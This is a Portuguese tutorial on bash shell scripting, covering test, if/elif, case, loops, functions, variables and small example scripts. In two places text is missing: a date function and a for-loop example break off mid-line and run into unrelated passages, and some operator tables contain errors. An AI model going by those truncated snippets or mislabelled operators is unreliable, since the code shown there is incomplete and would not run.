Na linha de comandos de um shell, podemos utilizar diversos comandos um após o outro, ou mesmo combiná-los numa mesma linha.

Se colocarmos diversas linhas de comandos em um arquivo texto simples, teremos em mãos um Shell Script, ou um script em shell, já que Script é uma descrição geral de qualquer programa escrito em linguagem interpretada, ou seja, não compilada.

Outros exemplos de linguagens para scripts são o PHP, Perl, Python, JavaScript e muitos outros. Podemos então ter um script em php, um script perl e assim em diante.

Uma vez criado, um ShellScript pode ser reutilizado quantas vezes for necessário.

Seu uso, portanto, é indicado na automação de tarefas que serão realizadas mais de uma vez.

Todo sistema Unix e similares são repletos de scripts em shell para a realização das mais diversas atividades administrativas e de manutenção do sistema.

Os arquivos de lote (batch - arquivos *.bat) do Windows são também exemplos de ShellScripts, já que são escritos em linguagem interpretada e executados por um Shell do Windows, em geral o command.com ou hoje em dia o cmd.exe.

Os Shells do Unix, porém, são inumeras vezes mais poderosos que o interpretador de comandos do Windows, podendo executar tarefas muito mais complexas e elaboradas.

.

OS SCRIPTS SHELL PODEM SER AGENDADOS PARA EXECUÇÃO ATRAVÉS DA TABELA CRONTAB, ENTRE OUTRAS COISAS.

.

O shell é uma ferramenta indispensável aos administradores de sistemas Unix.

O Shell mais comum e provavelmente o que possui mais scripts escritos para ele é também um dos mais antigos e simples, o sh.

Este shell está presente em todo o sistema tipo Unix, incluído o Linux, FreeBSD, AIX, HP-UX, OpenBSD, Solaris, NetBSD, Irix, etc. Por ser o shell nativo mais comum é natural que se prefira escrever scripts para ele, tornando o script mais facilmente portável para outro sistema.

Os Shells não estão diretamente associados a um ou outro tipo de Unix, embora várias empresas comerciais tenham suas próprias versões de Shell. No software livre o Shell utilizado em um sistema em geral é exatamente o mesmo utilizado em outro. Por exemplo, o bash encontrado no Linux é o mesmo shell bash encontrado no FreeBSD e pode também facilmente ser instalado no Solaris, Windows através do Cygwin [1] ou outros sistemas Unix comerciais para passar a ser utilizado como interface direta de comandos ou como interpretador de scripts. O mesmo acontece com o tcsh e vários outros shells desenvolvidos no modelo de software livre.

.

INTERAGIR COM O USUÁRIO

.

Para o script ficar mais completo, vamos colocar uma interação mínima com o usuário, pedindo uma confirmação antes de executar os comandos.

.

#!/bin/bash

clear

echo "Vou buscar os dados do sistema. Posso continuar? [S/n] "

read RESPOSTA

test "$RESPOSTA" = "n" && exit

echo ; echo "Data e Horário:" ; echo

date

echo

echo "Uso do disco:" ; echo

df -ht

echo

echo "Usuários conectados:" ; echo

w

echo ; echo "Seu nome de login é:"

whoami

echo

exit

# Fim do script

.

O comando "read" leu o que o usuário digitou e guardou na variável RESPOSTA. Logo em seguida, o comando "test" verificou se o conteúdo dessa variável era "n". Se afirmativo, o comando "exit" foi chamado e o script foi finalizado. Nessa linha há vários detalhes importantes:

O conteúdo da variável é acessado colocando-se um cifrão "$" na frente

O comando test é útil para fazer vários tipos de verificações em textos e arquivos

O operador lógico "&&", só executa o segundo comando caso o primeiro tenha sido OK. O operador inverso é o "||"

.

MELHORAR O CÓDIGO DO SCRIPT

Com o tempo, o script vai crescer, mais comandos vão ser adicionados e quanto maior, mais difícil encontrar o ponto certo onde fazer a alteração ou corrigir algum erro. Para poupar horas de estresse, e facilitar as manutenções futuras, é preciso deixar o código visualmente mais agradável e espaçado, e colocar comentários esclarecedores.

.

#!/bin/bash

# nome-do-script - script que mostra informações sobre o sistema

# Autor: Fulano da Silva

# Pede uma confirmação do usuário antes de executar

clear

echo "Vou buscar os dados do sistema. Posso continuar? [S/n]"

read RESPOSTA

# Se ele digitou 'n', vamos interromper o script

test "$RESPOSTA" = "n" && exit

# O date mostra a data e a hora correntes

sleep 3 ; echo "Data e Horário:" ; echo

date

sleep 3

echo

# O df mostra as partições e quanto cada uma ocupa no disco

echo "Uso do disco:"

sleep 3

echo

df

echo

sleep 6

# O w mostra os usuários que estão conectados nesta máquina

echo "Usuários conectados:"

sleep 3

echo

w

sleep 3

echo

# Fim do script

.

Basta iniciar a linha com um "#" e escrever o texto do comentário em seguida. Estas linhas são ignoradas pelo shell durante a execução. O cabeçalho com informações sobre o script e seu autor também é importante para ter-se uma visão geral do que o script faz, sem precisar decifrar seu código. Também é possível colocar comentários no meio da linha # como este

.

FERRAMENTAS PARA FUNÇÕES

.

O COMANDO RETURN INFORMA O FIM DA FUNÇÃO. EXEMPLO:

MinhaFuncao(){
echo "Isto será exibido"
return
echo "Isso não será exibido, pois está depois de return"
}

MinhaFuncao

.

Se criar uma variável dentro de uma função, mesmo chamando ela fora da função, o valor da variável será exibido, pois ela será tratada como variável GLOBAL, caso tente imprimi-la, para que o valor de uma variável seja exibido somente dentro da função, precisamos usar o comando local antes da variável para que não seja exibido. Para entender isto só mesmo com exemplo na prática. Vamos a ele:

.

EU ABRO O EDITOR DE TEXTO E COLO O TEXTO ABAIXO NELE:

#!/bin/bash

# Meu comentário

VARIAVEL="Olá Mundo do Shell Script!"

echo $VARIAVEL

sleep 2

echo

echo "Vou buscar os dados do sistema. Posso continuar? [S/n] "

read RESPOSTA

test "$RESPOSTA" = "n" && exit

echo ; echo "Data e Horário:" ; echo

date

echo

echo "Uso do disco:" ; echo

df -hi

echo

echo "Usuários conectados:" ; echo

w

echo ; echo "Seu nome de login é:"

whoami

echo

ARRAY5=("Shell" "Madrugada" "Script" "Amanhece" "Linux")

echo "O ARRAY5 possui ${#ARRAY5[@]} elemento(s)"

MinhaFuncao(){
echo "Eu estou passando $# parâmetros"
#return
echo "Muitas coisas"
}

MinhaFuncao $@

echo 'Se o resultado é zero está tudo certo!'

sleep 2

echo

echo $?

exit

# Fim do script: 09-ferramentas-funcoes.sh

.

SALVO COMO: 09-ferramentas-funcoes.sh

.

DOU PODER DE EXECUÇÃO:

chmod a+x 09-ferramentas-funcoes.sh

.

EXECUTO:

sh 09-ferramentas-funcoes.sh

sh 09-ferramentas-funcoes.sh Linux Brasil GNU

.

AGORA ALTERO O SCRIPT 09-ferramentas-funcoes.sh (REMOVO A TRALHA # DE RETURN) E EXECUTO DE NOVO:

.

#!/bin/bash

# Meu comentário

VARIAVEL="Olá Mundo do Shell Script!"

echo $VARIAVEL

sleep 2

echo

echo "Vou buscar os dados do sistema. Posso continuar? [S/n] "

read RESPOSTA

test "$RESPOSTA" = "n" && exit

echo ; echo "Data e Horário:" ; echo

date

echo

echo "Uso do disco:" ; echo

df -hi

echo

echo "Usuários conectados:" ; echo

w

echo ; echo "Seu nome de login é:"

whoami

echo

ARRAY5=("Shell" "Madrugada" "Script" "Amanhece" "Linux")

echo "O ARRAY5 possui ${#ARRAY5[@]} elemento(s)"

MinhaFuncao(){
echo "Eu estou passando $# parâmetros"
return
echo $VARIAVEL
echo "Muitas coisas"
}

MinhaFuncao $@

echo 'Se o resultado é zero está tudo certo!'

sleep 2

echo

echo $?

exit

# Fim do script: 09-ferramentas-funcoes.sh

.

COPIO E COLO O COMANDO ABAIXO NO TERMINAL:

sh 09-ferramentas-funcoes.sh Amanhecer ANOITECER Estudar DORMIR

.

CONSTANTES NÃO MUDAM. EXEMPLO:

.

#!/bin/bash

MinhaFuncao(){
local OLA="Olá, mundo!"
echo "Eu estou passando $# parâmetro(s)"
return
echo $OLA
echo "Muita coisa"
}

MinhaFuncao

declare -r MinhaConstante='Estamos constantes'

echo $MinhaConstante

# Fim do 3d-script-constante.sh

.

PODER DE EXECUÇÃO:

chmod +x 3d-script-constante.sh

.

EXECUTAR O SCRIPT:

sh 3d-script-constante.sh

sh 3d-script-constante.sh LINUX BASH

.

PARA APAGAR CONSTANTES E FUNÇÕES É O MESMO PROCEDIMENTO DE APAGAR VARIÁVEIS (unset).

.

CONDIÇÕES EM SHELL SCRIPT

O Shell tem estruturas para se fazer condições. Por exemplo o comando TEST. O comando TEST é útil para fazer vários tipos de verificações em textos e arquivos, testa o conteúdo de uma string, poder ser um arquivo, uma variável, compara valores numéricos ou não. O test avalia uma determinada condição dada e se ela for verdadeira a variável $? é retornada com o valor zero (0) e se falsa o valor é 1.

.

COM O COMANDO TEST PODEMOS VER SE É UM DISPOSITOVO DE:

-b (Bloco), -c (Caractere), -d (Diretório), -e (Se existe), -f (Se é um arquivo normal), -G (O grupo do arquivo é o do usuário atual), -L (O arquivo é um link simbólico), -r (O arquivo tem permissão de leitura), -s (O tamanho é maior que zero), -nt (O arquivo é o mais recente), -ot (O arquivo é mais antigo), -w (Se o arquivo tem permissão de escrita), -x Se o arquivo tem permissão de execução), -ef (Se o arquivo é o mesmo), e por aí vai... etc;

.

Podemos usar a COMPARAÇÃO NUMÉRICA no comando test. Veja estas opções abaixo por exemplo:

.

-lt (É menor que)

-gt (É maior que)

-le (É menor igual)

-ge (É maior igual)

-eq (É igual)

-ne (É diferente)

.

COMPARAÇÃO DE STRINGS:

.

= (É igual)

!= (É diferente)

-n (É não nula)

-z (É nula)

.

OPERADORES LÓGICOS:

! (NÃO lógico)

-a (E lógico) (AND)

-o (OU lógico)

.

VAMOS EXECUTAR OS EXEMPLOS ABAIXO NO TERMINAL:

test 1 = 1 ; echo $? (É igual a...)

test 1 = 2 ; echo $? (É igual a...)

test 1 != 2 ; echo $? (É diferente de...)

test 1 != 1 ; echo $? (É diferente de...)

.

- PRATICANDO O COMANDO TEST -

.

Vamos testar se o arquivo: 08-test-script.sh existe? Se é uma pasta? Se é um arquivo normal? Execute os comandos abaixo:

touch 08-test-script.sh

ls -t

test -e 08-test-script.sh ; echo $? (Verifica se existe)

test -d 08-test-script.sh ; echo $? (Verifica se é uma pasta)

test -f 08-test-script.sh ; echo $? (Verifica se é um arquivo comum)

test -s 08-test-script.sh (Verifica se o tamanho é maior que zero)

rm -fi 08-test-script.sh

.

Exemplo:

~ $rm -fi 08-test-script.sh
rm: remover arquivo comum vazio '08-test-script.sh'? S

.

Execute os comandos abaixo:

ls -t

test -e 08-test-script.sh ; echo $?

test -d 08-test-script.sh ; echo $?

test -s 08-test-script.sh

.

SE CORRESPONDE A OPÇÃO ESCOLHIDA A RESPOSTA É ZERO. SE NÃO A RESPOSTA É 1.

.

OS SCRIPTS SHELL PODEM CONTER ESTRUTURAS DE PROGRAMAÇÃO/condição TAIS COMO:

if, them, else, elif, fi

.

ESTRUTURAS DE DECISÃO (if)

If testa um comando e não uma condição. O comando que testa condições é o test. Usamos o test junto com o if. O if é um recurso utilizado para dar sequencia em fluxos de execução baseado em decisões. Cuja sintaxe é:

- Condição Verificada é o teste que definirá se controle deve ser passado para dentro do bloco then.

- Ação são comandos a serem executados em caso verdadeiro da condição verificada.

.

OPERADORES PARA NÚMEROS

.

-eq Verifica se é igual,

-ne Verifica se é diferente,

-lt Verifica se é menor,

-gt Verifica se é maior,

-le Verifica se é menor ou igual,

-ge Verifica se é maior ou igual.

.

OPERADORES PARA TEXTO

.

!= Verifica se é diferente,

= Verifica se é igual.

.

OPERADORES LÓGICOS

.

! Lógica NOT,

-o Lógica OU, (OR) ou ||,

-a Lógica E, (AND) ou &&.

.

OPERADOR PARA arquivos/

.

-d Verifica se é diretório,

-f Verifica se é arquivo,

-e Verifica se existe.

.

EXEMPLOS A SEREM EXECUTADOS:

.

#!/bin/bash

# Este script é para saber se uma variável é maior
# ou menor # do que 10 e mostrar uma mensagem na
# tela informando.
# No fim do script fechamos a condição com fi.
# Não esqueça de fechar a condição com fi, se não dá
# erro.

VARIAVEL=9;
if test "$VARIAVEL" -gt 10
then
echo "é maior que 10"
else
echo "é menor que 10"
fi

# Fim do script: 07w-script-if.sh

.

COPIE E COLE O CÓDIGO ABAIXO NO TERMINAL E VEJA O RESULTADO:

.

echo -e '#!/bin/bash\n \nVARIAVEL=9;\nif test "$VARIAVEL" -gt 10\n then\n echo "é maior que 10"\nelse\n echo "é menor que 10"\nfi\n \n# Fim do script: 07w-script-if.sh' > 07w-script-if.sh ; chmod a+x 07w-script-if.sh ; sh 07w-script-if.sh

.

RESULTADO:

é menor que 10

.

MAIS UM EXEMPLO IF, THEN, ELSE, ELIF, FI:

.

No exemplo abaixo a variável é igual a 10.

Neste caso tem que usar o "elif" se não vai dar erro.

Sem o "elif" o script vai dizer que é MENOR que 10.

É mais ou menos o seguinte, se (if) não é (then) maior, ou (elif) é (then) igual ou então (else) é menor. Fim (fi).

.

EXECUTE NO TERMINAL O SHELL SCRIPT EXEMPLO ABAIXO:

.

#!/bin/bash

VARIAVEL=10;
if test "$VARIAVEL" -gt 10
then
echo "é maior que 10"

elif test "$VARIAVEL" -eq 10
then

echo "é igual a 10"
else
echo "é menor que 10"

fi

# Fim do script:
# 08kw-script-if-then-else-elif-fi.sh

.

RESULTADO:

~ $sh 08kw-script-if-then-else-elif-fi.sh
é igual a 10
~ $

.

SE A VARIÁVEL FOSSE 11 EXEMPLO:

.

#!/bin/bash

VARIAVEL=11;
if test "$VARIAVEL" -gt 10
then
echo "é maior que 10"

elif test "$VARIAVEL" -eq 10
then

echo "é igual a 10"
else
echo "é menor que 10"

fi

# Fim do script:

# 03kw-script-if-then-else-elif-fi.sh

.

O RESULTADO É:

~ $sh 03kw-script-if-then-else-elif-fi.sh
é maior que 10

.

COPIE E COLE O CÓDIGO ABAIXO NO TERMINAL E VEJA O RESULTADO:

echo -e '#!/bin/bash\nVARIAVEL=11;\nif test "$VARIAVEL" -gt 10\nthen\necho "é maior que 10"\nelif test "$VARIAVEL" -eq 10\nthen\necho "é igual a 10"\nelse\necho "é menor que 10"\nfi\n# Fim do script:\n# 03kw-script-if-then-else-elif-fi.sh' > 03kw-script-if-then-else-elif-fi.sh ; chmod a+x 03kw-script-if-then-else-elif-fi.sh ; sh 03kw-script-if-then-else-elif-fi.sh

.

Consegue entender (ler) o código acima e sabe o que ele faz?

.

IF VEM ACOMPANHADO DO THEN
ELIF VEM ACOMPANHADO DO THEN
ELSE E O SCRIPT TERMINA COM FI

.

EXECUTE ESTE EXEMPLO NO TERMINAL:

.

#!/bin/bash

# Uso de Estrutura de Decisão

clear

echo 'opções'

echo '======'

echo ' -> Data do Sistema'

echo ' -> Uso do Sistema'

read opcao

if [ "$opcao" -eq 1 ]

then

echo 'Data do sistema: ' && date

elif [ "$opcao" -eq 2 ]

then

echo 'Uso do disco: ' && df -Th

fi

# Fim do script: 08cw-script-if.sh

.

PODEMOS CRIAR UMA FUNÇÃO

.

#!/bin/bash

MinhaFuncao(){
VARIAVEL=$1;
if test "$VARIAVEL" -gt 10
then
echo "é maior que 10"

elif test "$VARIAVEL" -eq 10
then

echo "é igual a 10"
else
echo "é menor que 10"

fi
}

MinhaFuncao $1

# Fim do script:

# 09ks-funcao-if-then-else-elif-fi.sh

.

JÁ SABE OS PROCEDIMENTOS. EXECUTE O SCRIPT ACIMA ASSIM:

sh 09ks-funcao-if-then-else-elif-fi.sh 8

bash 09ks-funcao-if-then-else-elif-fi.sh 19

./09ks-funcao-if-then-else-elif-fi.sh 868

sh 09ks-funcao-if-then-else-elif-fi.sh 2

.

ESTRUTURAS DE REPETIÇÃO (for) (while)

.

ESTRUTURA DE REPETIÇÃO for:

Permite que ações de iteração sejam executadas sobre determinados comandos ou variáveis até que a condição seja satisfeita.

.

# !/bin/bash

clear

echo "DIAS DA SEMANA"

for dia in seg ter qua qui sex sab dom

do

echo "$dia"

done

# Fim do script 7s-etrut-repet-for-while.sh

.

Resultado:

DIAS DA SEMANA
seg
ter
qua
qui
sex
sab
dom
~ $

.

ESTRUTURA DE REPETIÇÃO while:

Em situações onde sabemos até onde o loop irá realizar uma contagem o ideal é usar o for entretanto em cenarios onde a iteração deve cessar somente após se satisfazer uma condição o uso do laço while é mais indicado. Ex:

.

# /bin/bash

clear

var=1

while [ $var -le 7 ]

do

echo "Valor de var: $var"

var=$((var+1))

done

# Fim do script 7g-estr-rep-while.sh

.

Resultado:

Valor de var: 1
Valor de var: 2
Valor de var: 3
Valor de var: 4
Valor de var: 5
Valor de var: 6
Valor de var: 7
~ $

.

UM USO INTERESSANTE DO WHILE PARA VER O LOOP FUNCIONANDO:

.

Por vezes queremos acompanhar a cópia de um arquivo na console do Linux e o caminho mais normal é abrir um outro terminal e ficar repetitivamente executando o comando ls, ou algum outro comando, haja dedo para apertar a seta pra cima e enter, seta pra cima e enter, seta pra cima e enter. Podemos resolver isto usando o comando while de forma bem simples, por exemplo se quisermos executar um ls por várias vezes, podemos fazer assim:

.

OBS: Execute um de cada vez, parar o comando com Ctrl+C.

.

1

while true; do ls; done;

2

while true; do ls; echo; sleep 5; done;

3

while true; do ls; echo; sleep 5; clear; done;

.

ISTO VAI EXECUTAR O COMANDO LS ATÉ PRESSIONARMOS CTRL + C PARA QUEBRÁ-LO.

.

FUNÇÕES E ARGUMENTOS

.

Ex:

.

# !/bin/bash

# REALIZAR BACKUP DO DIR

echo -e " \033[1;33m Digite o caminho de origem.: \033[0m "

read DIR_ORIGEM

clear

echo -e " \033[1;34m Digite o caminho de destino.: \033[0m "

read DIR_DESTINO

clear

verifica_argumentos(){

if [ $# -lt 1 ];

then

echo "Faltou informar um dos argumentos (parametros) necessarios!"

exit 1

fi

}

copia_arquivos(){

verifica_argumentos

clear

echo "Realizando backup..."

#Verificando se o dir de destino existe

if ! [ -d $DIR_DESTINO ]

then

mkdir $DIR_DESTINO

echo "Diretorio de Destino Criado"

fi

#COPIANDO ARQUIVOS

for arq in `ls $DIR_ORIGEM`

do

cp /$DIR_ORIGEM/$arq $DIR_DESTINO/$arq.bak

done

}

copia_arquivos

# Fim do script 08b-funcoes-e-arg.sh

.

DEFINIÇÕES DE VARIÁVEIS E ESCOPO DESTAS

.

Variáveis são definidas pela nomenclatura NOME_VARIAVEL="Valor da Variável". O valor pode ser tanto numérico quanto texto.

.

Nome="Joel"

.

Se quisermos acessá-la, basta fazer referência a ela com o caractere $ (cifrão) antes do nome: o comando echo $Nome, por exemplo, retornará a palavra "Joel".

.

Se quiser sabe informações sobre os sistemas de arquivo nos quais cada ARQUIVO reside ou, por padrão, sobre todos os sistemas de arquivos posso abrir um terminal e digitar:

VarInfo="df -h"

.

Depois digito no terminal "$VarInfo" sem aspas.

.

VARIÁVEIS DE AMBIENTE

.

As variáveis de ambiente independem da definição do usuario. Elas são criadas automaticamente, no momento em que se faz o login no sistema.

.

Ex:

PATH: define diretórios de procura por programas executados no shell;

USER: informa o nome do usuário do shell;

HOME: informa o caminho do diretório home do usuário;

PWD: diretório atual;

.

As variáveis são a base de qualquer script. É dentro delas que os dados obtidos durante a execução do script serão armazenados. Para definir uma variável, basta usar o sinal de igual "=" e para ver seu valor, usa-se o "echo":

.

Execute estes comandos abaixo no terminal:

.

VARIAVEL="um dois tres"

echo $VARIAVEL

echo $VARIAVEL $VARIAVEL

.

Para remover a variável acima:

unset VARIAVEL

.

Teste:

echo $VARIAVEL

.

É possível armazenar a saída de um comando dentro de uma variável. Ao invés de aspas, o comando deve ser colocado entre "$(...)", execute no terminal os comandos abaixo:

HOJE=$(date)

echo "Hoje é: $HOJE"

sleep 2

unset HOJE

echo $HOJE

HOJE=$(ls)

echo "O conteúdo desta pasta tem: $HOJE"

sleep 2

unset HOJE

echo $HOJE

HOJE=$(free -hmt)

echo "Informando sobre a memória desta máquina: $HOJE"

sleep 2

unset HOJE

echo $HOJE

.

EXEMPLOS DE USO DO SHELL SCRIPT:

.

Apagar arquivos velhos - Apagar periodicamente arquivos mais velhos que 30 dias do diretório /tmp:

.

#!/bin/bash

cd /tmp

find . -type f -mtime +30 -delete

# Fim do script

.

Este seria o conteúdo de um shell script que sempre que fosse executado apagaria arquivos com data de modificação maior que 30 dias a partir do diretório /tmp do sistema de arquivos.

.

Notem que ele é nada mais do que uma associação de 2 comandos (cd e find) em um arquivo para facilitar a repetição da tarefa. Este poderia ser, por exemplo, o conteúdo do arquivo /bin/limpatmp.sh e poderíamos chamar este script pela linha de comandos sempre que desejássemos repetir esta ação:

.

$ limpatmp.sh

.

Onde o símbolo "$" representa o prompt de comandos. Do ponto de vista do usuário este seria mais um comando disponível para uso.

.

Os scripts em shell são também muito empregados junto à inicialização do sistema (para auto-iniciar tarefas) ou como mini-aplicativos, que facilitam tarefas dos usuários, tais como montagem de dispositivos, menus de ajuda, etc.

.

Sua primeira linha obrigatoriamente começa com um "#!" (que não se deve confundir com um comentário qualquer, pois realmente é uma exceção; este par se chama, em inglês, de shebang), informando diretamente ao núcleo (kernel) qual interpretador ele deverá usar, juntamente com seu caminho, de acordo com a necessidade de cada caso. Exemplo:

#!/bin/bash

.

Em seguida, são adicionados os comandos desejados, um por linha, ou separados por ponto e vírgula. Exemplo:

.

mount -t reiserfs /dev/hda1 /mnt/hda1

ls /mnt/hda1

cp -r /mnt/hda1/* /home/user/backup

umount /dev/hda1

.

Por fim, dá-se a permissão de execução a este arquivo de texto simples ("chmod +x arquivo").

.

DATA ANTERIOR

.

#!/bin/bash

# Função em Bash para retornar a data anterior, levando em conta o mês e ano.

fn_data_anterior()

{

DIA=$D

MES=$M

ANO=$A

# Dado DIA, MES e ANO numéricos, obtém a data do dia anterior

DIA=`expr $DIA - 1`

if [ $DIA -eq 0 ]; then

MES=`expr $MES - 1`

if [ $MES -eq 0 ]; then

MES=12

ANO=`expr $ANO - 1`

fi

DIA=`cal $MES $ANO`

DIA=`echo $DIA | awk '{ print $NF }'`

fi

}

ano=`date +%Y`;

mes=`date +%m`;

let dia=10\#`date +%d`;

if (( $dia". Para guardar a saída do comando anterior no arquivo "saida", basta fazer:

cat /etc/passwd | grep root | cut -c1-10 > saida

cat saida

.

REPETINDO: O COMANDO TEST

.

O canivete suíço dos comandos do shell é o "test", que consegue fazer vários tipos de testes em números, textos e arquivos. Ele possui várias opções para indicar que tipo de teste será feito, algumas delas:

-lt Núm. é menor que (LessThan)

-d É um diretório

-gt Núm. é maior que (GreaterThan)

-f É um arquivo normal

-le Núm. é menor igual (LessEqual)

-r O arquivo tem permissão de leitura

-ge Núm. é maior igual (GreaterEqual)

-s O tamanho do arquivo é maior que zero

-eq Núm. é igual (EQual)

-w O arquivo tem permissão de escrita

-ne Núm. é diferente (NotEqual)

-nt O arquivo é mais recente (NewerThan)

= String é igual

-ot O arquivo é mais antigo (OlderThan)

!= String é diferente

-ef O arquivo é o mesmo (EqualFile)

-n String é não nula

-a E lógico (AND)

-z String é nula

-o OU lógico (OR)

.

SCRIPT QUE TESTA ARQUIVOS

Tente fazer um script "testa-arquivos", que pede ao usuário para digitar um arquivo e testa se este arquivo existe. Se sim, diz se é um arquivo ou um diretório.

.

CONCEITOS MAIS AVANÇADOS:

.

CASE

.

O CASE É PARA CONTROLE DE FLUXO, TAL COMO É O IF. Mas enquanto o if testa expressões não exatas, o case vai agir de acordo com os resultados exatos. Abre com case e fecha com esac. Se nao fizer assim dá erro. Vejamos uns exemplos:

.

case $VARIAVEL in
10) echo "é 10" ;;
9) echo "é 9" ;;
7|8) echo "é 7 ou 8" ;;
*) echo "é menor que 6 ou maior que 10" ;;
esac

.

case $1 in
parametro1) comando1 ; comando2 ;;
parametro2) comando3 ; comando4 ;;
*) echo "Você tem de entrar com um parâmetro válido" ;;
esac

.

Aqui acima aconteceu o seguinte: o case leu a variável $1 (que é o primeiro parâmetro passado para o programa), e comparou com valores exatos. Se a variável $1 for igual à “parametro1″, então o programa executará o comando1 e o comando2; se for igual à “parametro2″, executará o comando3 e o comando4, e assim em diante. A última opção (*), é uma opção padrão do case, ou seja, se o parâmetro passado não for igual a nenhuma das outras opções anteriores, esse comando será executado automaticamente. Com o case fica muito mais fácil criar uma espécie de “menu” para o shell script do que com o if.

.

EXEMPLO DE SCRIPT PARA EXECUTAR NO TERMINAL:

#!/bin/bash

# Aprendendo shell script

MinhaFuncao (){

case $1 in
10) echo "é 10" ;;
9) echo "é 9" ;;
7|8) echo "é 7 ou 8" ;;
*) echo "é menor que 6 ou maior que 10" ;;
esac

}

MinhaFuncao $1

# Fim script 07hr-funcao-case-esac.sh

.

RESULTADOS:

~ $sh 07hr-funcao-case-esac.sh 8
é 7 ou 8

~ $sh 07hr-funcao-case-esac.sh 15
é menor que 6 ou maior que 10

~ $sh 07hr-funcao-case-esac.sh 9
é 9

.

REPETINDO: If, for e while

.

Assim como qualquer outra linguagem de programação, o shell também tem estruturas para se fazer condicionais e loop. As mais usadas são if, for e while.

.

ATÉ ESTE PONTO EM QUE ESTAMOS, JÁ SABEMOS O BÁSICO, O NECESSÁRIO PARA SE FAZER UM SCRIPT DE FUNCIONALIDADE MÍNIMA. E ESTE MÍNIMO PODE FAZER COISAS INCRÍVEIS. AVANÇAR:

case, if, for e while.

.

Comando if:

.

Comando if - else:

if ( condição ) {
comandos a serem executados se a condição for verdadeira;
}
else {
comandos a serem executados se a condição for falsa;
}

.

COMANDOS DE CONTROLE DE FLUXO

.

Controle de fluxo são comandos que vão testando algumas alternativas, e de acordo com essas alternativas, vão executando comandos. Um dos comandos de controle de fluxo mais usados é certamente o if, que é baseado na lógica “se acontecer isso, irei fazer isso, se não, irei fazer aquilo”.

.

EXEMPLO DE UM PEDAÇO DE CÓDIGO:

.

if [ -e $linux ]
then
echo 'A variável $linux existe.'
else
echo 'A variável $linux não existe.'
fi

.

O que este pedaço de código faz? O if testa a seguinte expressão: Se a variável $linux existir, então (then) ele diz que que existe com o echo, se não (else), ele diz que não existe. O operador "-e" é pré-definido, e você pode encontrar a listagem dos operadores na tabela:

.

-eq Igual
-ne Diferente
-gt Maior
-lt Menor
-o Ou
-d Se for um diretório
-e Se existir
-z Se estiver vazio
-f Se conter texto
-o Se o usuário for o dono
-r Se o arquivo pode ser lido
-w Se o arquivo pode ser alterado
-x Se o arquivo pode ser executado

.

Exemplo de uso do if:

.

if [COMANDOS]

then

comandos

else

comandos

fi

# Fim do script

.

Ex:

for VAR in LISTA

do

comandos

done

# Fim do script

.

Ex:

while COMANDO

do

comandos

done

# Fim do script

.

REPETINDO: Diferente de outras linguagens, o if testa um comando e não uma condição. Porém como já conhecemos qual o comando do shell que testa condições, é só usá-lo em conjunto com o if. Por exemplo, para saber se uma variável é maior ou menor do que 10 e mostrar uma mensagem na tela informando:

.

Ex:

if test "$VARIAVEL" -gt 10

then

echo "é maior que 10"

else

echo "é menor que 10"

fi

# Fim do script

.

Há um ATALHO PARA O TEST , que é o comando [. Ambos são exatamente o mesmo comando, porém usar o [ deixa o if mais PARECIDO COM O FORMATO TRADICIONAL de outras linguagens:

.

O test pode ser escrito assim:

test 1 = 1 ; echo $?

test 1 != 1 ; echo $?

.

Ou assim:

[ 1 = 1 ] ; echo $?

[ 1 != 1 ] ; echo $?

.

Execute os comandos acima no terminal.

.

O Resultado é:

~ $test 1 = 1 ; echo $?
0
~ $test 1 != 1 ; echo $?
1
~ $[ 1 = 1 ] ; echo $?
0
~ $[ 1 != 1 ] ; echo $?
1
~ $

.

EXEMPLO A SER EXECUTADO:

.

#!/bin/bash

VARIAVEL=17;
if [ "$VARIAVEL" -gt 10 ]

then
echo "é maior que 10"

elif [ "$VARIAVEL" -eq 10 ]

then
echo "é igual a 10"

else
echo "é menor que 10"
fi

# Fim do script 06r-atalho-test.sh

.

Resultado:

~ $sh 06r-atalho-test.sh
é maior que 10

.

OUTRO EXEMPLO A SER EXECUTADO:

.

#!/bin/bash

VARIAVEL=4;
if [[ "$VARIAVEL" -gt 10 ]];

then
echo "é maior que 10"

elif [[ "$VARIAVEL" -eq 10 ]];

then
echo "é igual a 10"

else
echo "é menor que 10"
fi

# Fim do script 07r-atalho-test.sh

.

Resultado:

~ $sh 07r-atalho-test.sh
é menor que 10

.

Se usar o [, também é preciso fechá-lo com o ], e sempre devem ter espaços ao redor. É recomendado evitar esta sintaxe para diminuir suas chances de erro.

.

Percebeu que neste ponto a gente está sabendo usar de verdade TEST IF THEN ELIF ELSE FI?

.

COMANDO WHILE

.

O while é um laço que é executado enquanto um comando retorna OK. Novamente o test é bom de ser usado. Por exemplo, para segurar o processamento do script enquanto um arquivo de lock não é removido:

.

Ex:

while test -f /tmp/lock

do

echo "Script travado..."

sleep 1

done

# Fim do script

.

O COMANDO FOR

.

E por fim, o "for" percorre uma lista de palavras, pegando uma por vez:

.

Ex:

for numero in um dois três quatro cinco

do

echo "Contando: $numero"

done

# Fim do script

.

Uma ferramenta muito útil para usar com o "for" é o "seq", que gera uma seqüência numérica.

.

Para fazer o loop andar 10 passos, pode-se fazer:

for passo in $(seq 10)

.

O mesmo pode ser feito com o while, usando um contador:

.

i=0

while test $i -le 10

do

i=$((i+1))

echo "Contando: $i"

done

# Fim do script

.

LOOPS EM SHELL QUANDO USAR?
.

Precisamos digitar um código talvez com ligeira mudança. Para não ter que repetir a tarefa digitando o código 20 vezes ou mais, usamos loops. Podemos usar vários loops. Tem pelo menos tres tipos de loops para o comando FOR por exemplo.

.

Exemplos abaixo:

.

for ((i=0;i 01-while1.sh ; chmod a+x 01-while1.sh ; ./01-while1.sh

.

Exemplo:

.

~ $cd ; mkdir pasta-while-loop ; cd pasta-while-loop/ ; echo -e '#!/bin/bash\n \nn=1\n \nwhile [ $n -le 5 ]\ndo\necho "Este é o loop $n"\n(( n++ ))\ndone' > 01-while1.sh ; chmod a+x 01-while1.sh ; ./01-while1.sh
Este é o loop 1
Este é o loop 2
Este é o loop 3
Este é o loop 4
Este é o loop 5
pasta-while-loop $

.

EXECUTE O SCRIPT ABAIXO:

.

#!/bin/bash

# Aprendendo loops Shell Script

# Nome: 06s-loop-while.sh

_INPUT_STRING="Olá"
while [[ "$_INPUT_STRING" != "tchau" ]]
do
echo "Você deseja ficar aqui ?"
read _INPUT_STRING

if [[ $_INPUT_STRING = 'tchau' ]]; then
echo "Você disse Tchau"
else
echo "Você ainda deseja ficar aqui"
fi
done

# Fim do 06s-loop-while.sh

.

Resultado:

~ $sh 06s-loop-while.sh
Você deseja ficar aqui ?
Sim
Você ainda deseja ficar aqui
Você deseja ficar aqui ?
Claro
Você ainda deseja ficar aqui
Você deseja ficar aqui ?
